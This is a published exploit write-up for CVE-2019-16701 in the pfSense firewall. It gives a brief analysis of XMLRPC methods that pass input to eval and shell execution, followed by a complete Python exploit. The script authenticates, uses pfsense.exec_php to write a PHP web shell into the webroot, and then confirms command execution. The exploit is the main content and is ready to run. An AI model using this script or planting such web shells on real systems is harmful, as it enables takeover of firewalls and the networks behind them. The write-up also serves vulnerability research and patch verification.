pfSense versions 2.3.4 and 2.4.4-p3 remote code injection exploit.
1485a12f9fba9a9672d4428c49ee27ce
# Exploit Title: Pfsense 2.3.4 / 2.4.4-p3 - Remote Code Injection
# Date: 23/09/2018
# Author: Nassim Asrir
# Vendor Homepage: https://www.pfsense.org/
# Contact: [email protected] | https://www.linkedin.com/in/nassim-asrir-b73a57122/
# CVE: CVE-2019-16701
# Tested On: Windows 10(64bit) | Pfsense 2.3.4 / 2.4.4-p3
######################################################################################################
1 : About Pfsense:
==================
pfSense is a free and open source firewall and router that also features unified threat management, load balancing, multi WAN, and more.
2 : Technical Analysis:
=======================
The pfsense allow users (uid=0) to make remote procedure calls over HTTP (XMLRPC) and the XMLRPC contain some critical methods which allow any authenticated user/hacker to execute OS commands.
XMLRPC methods:
pfsense.exec_shell
pfsense.exec_php
pfsense.filter_configure
pfsense.interfaces_carp_configure
pfsense.backup_config_section
pfsense.restore_config_section
pfsense.merge_config_section
pfsense.merge_installedpackages_section_xmlrpc
pfsense.host_firmware_version
pfsense.reboot
pfsense.get_notices
system.listMethods
system.methodHelp
system.methodSignature
As we see in the output we have two interesting methods: pfsense.exec_shell and pfsense.exec_php.
2 : Static Analysis:
====================
In the static analysis we will analysis the xmlrpc.php file.
Line (73 - 82)
This code check if the user have enough privileges.
$user_entry = getUserEntry($username);
/*
* admin (uid = 0) is allowed
* or regular user with necessary privilege
*/
if (isset($user_entry['uid']) && $user_entry['uid'] != '0' &&
!userHasPrivilege($user_entry, 'system-xmlrpc-ha-sync')) {
log_auth("webConfigurator authentication error for '" .
$username . "' from " . $this->remote_addr .
" not enough privileges");
Line (137 - 146)
This part of code is the interest for us.
As we can see, first we have a check for auth then we have the dangerous function (eval) which take as parametere ($code).
public function exec_php($code) {
$this->auth();
eval($code);
if ($toreturn) {
return $toreturn;
}
return true;
}
Line (155 - 160)
In this part of code also we have a check for auth then the execution for ($code)
public function exec_shell($code) {
$this->auth();
mwexec($code);
return true;
}
3 - Exploit:
============
#!/usr/bin/env python
import argparse
import requests
import urllib2
import time
import sys
import string
import random
parser = argparse.ArgumentParser()
parser.add_argument("--rhost", help = "Target Uri https://127.0.0.1")
parser.add_argument("--password", help = "pfsense Password")
args = parser.parse_args()
rhost = args.rhost
password = args.password
print ""
print "[+] CVE-2019-16701 - Pfsense - Remote Code Injection"
print ""
print "[+] Author: Nassim Asrir"
print ""
command = "<?xml version='1.0' encoding='iso-8859-1'?>"
command += "<methodCall>"
command += "<methodName>pfsense.host_firmware_version</methodName>"
command += "<params>"
command += "<param><value><string>"+password+"</string></value></param>"
command += "</params>"
command += "</methodCall>"
stage1 = rhost + "/xmlrpc.php"
page = urllib2.urlopen(stage1, data=command).read()
print "[+] Checking Login Creds"
if "Authentication failed" in page:
print "[-] Wrong password :("
sys.exit(0)
else:
random = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(32)])
print "[+] logged in successfully :)"
print "[+] Generating random file "+random+".php"
print "[+] Sending the exploit ....."
command = "<?xml version='1.0' encoding='iso-8859-1'?>"
command += "<methodCall>"
command += "<methodName>pfsense.exec_php</methodName>"
command += "<params>"
command += "<param><value><string>"+password+"</string></value></param>"
command += "<param><value><string>exec('echo \\'<pre> <?php $res = system($_GET[\"cmd\"]); echo $res ?> </pre>\\' > /usr/local/www/"+random+".php');</string></value></param>"
command += "</params>"
command += "</methodCall>"
stage1 = rhost + "/xmlrpc.php"
page = urllib2.urlopen(stage1, data=command).read()
final = rhost+"/"+str(random)+".php"
check = urllib2.urlopen(final)
print "[+] Checking ....."
if check.getcode() == 200:
print "[+] Yeah! You got your shell: " + final+"?cmd=id"
else:
print "[+] Sorry :( Shell not found check the path"